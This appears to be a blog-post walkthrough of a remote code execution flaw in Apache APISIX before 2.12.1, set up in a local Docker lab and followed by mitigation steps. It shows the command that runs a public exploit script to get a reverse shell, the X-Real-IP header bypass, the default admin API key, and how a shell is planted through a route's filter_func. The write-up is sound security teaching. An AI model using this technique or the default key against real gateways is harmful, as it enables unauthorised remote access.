Apache APISIX < 2.12.1 Remote Code Execution

Kavishka Gihan
5 min readMar 16, 2022

Apache APISIX is a dynamic, real-time, high-performance API gateway. It provides traffic management features such as load balancing, dynamic upstream, authentication, canary release etc.

On June 16, 2021, Apache officially released a Remote Code Execution vulnerability in Apache APISIX version prior to 2.12.1 . An attacker can abuse the batch-requests plugin in APISIX to send requests to bypass the IP restriction which will result on bypassing whitelists and blacklists. If it uses default configuration, one can invoke the Admin API via the batch-request plugin enabling remote code execution.

In this article, I will go over the how we can set up the environment to exploit this, how this is possible and some mitigation techniques.

Setting up the environment

I am using an Ubuntu 20.04 VM to set this up.

Firstly, we have to download and install Apache APISIX on our local machine. For that there are a couple of choices. You can use RPM Repository, Docker, Helm Chart, or source release package to install it. For the sake of simplicity I am going to use docker. You can also find the steps here

  1. First we have to clone the Git repo of the APISIX docker container.

git clone https://github.com/apache/apisix-docker.git

2. After that’s done we can navigate to apisix-docker/examplesdirectory

cd apisix-docker/examples

3. Then we have to edit the docker-compose.yml file and change image: apache/apisix:2.12.1-alpine which is under services->apisix to image: apache/apisix:2.12.0-alpine This is because we need to install a version that is prior to 2.12.1

4. Now, we can use docker-compose to install and set up the needed docker containers.

docker-compose -p docker-apisix up -d

After this is done, I can access the API with a simple curl

curl 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1'

Exploitation

If we search in exploit-db we can find a simple python script that will automatically exploit this.

Let’s run the script and see what happens.

python3 poc.py http://127.0.0.1:9080/ 172.18.0.1 9999

NOTE: Make sure to use the IP of the docker interface. I killed a lot of time without using the correct one.

Once I run it, I get a shell as nobody in my listener.

Explanation

The script works fine. But where is the fun in running someone else’s script right? So let’s go over the POC script and understand what is does.

First off, we see 2 requests are made to the API. Looking at the json_data we can see the first request just plants the payload and the second one triggers it.

Here we see its executing commands with os.execute In the script its using a typical bash reverse shell. As mentioned above, the core of this RCE vulnerability arises with being able to bypass IP restriction and the API using the default configuration.

The IP restriction is bypassed by using X-Real-IP header setting to 127.0.0.1 A list of such headers are mentioned here. And the other thing is that it is setting X-API-KEY to the the default admin API token which is edd1c9f034335f136f87ad84b625c8f1

After running the exploit, if we look at the routes with the API, we see a new route is added.

curl -s 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1'|jq

Here we can see our reverse shell is planted in filter_func. Also something to note is the uri field. Its set to /rms/fzxewh. This is per-defined in our json_data

In the second request, a request is made to that endpoint triggering our reverse shell.

Mitigation

A patched version (2.12.1) of APISIX is released. Users can simply upgrade to the unaffected version. As a quick fix, we can comment out the batch-request in conf/config.yaml or conf/config-default.yaml files.

We can confirm this patch. First we have to delete the existing route from the dashboard http://192.168.1.6:9000/routes/list (username and the password is admin)

And then we have to edit the config-default.yaml file.

docker exec -it <name of the docker container> /bin/sh
vi config/config-default.yaml

Comment the line with batch-request by adding a # in front of the line.

Then restart the cluster.

docker-compose -p docker-apisix stop
docker-compose -p docker-apisix up -d

After restarting, we can run the script again. This time we don’t get a shell.

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan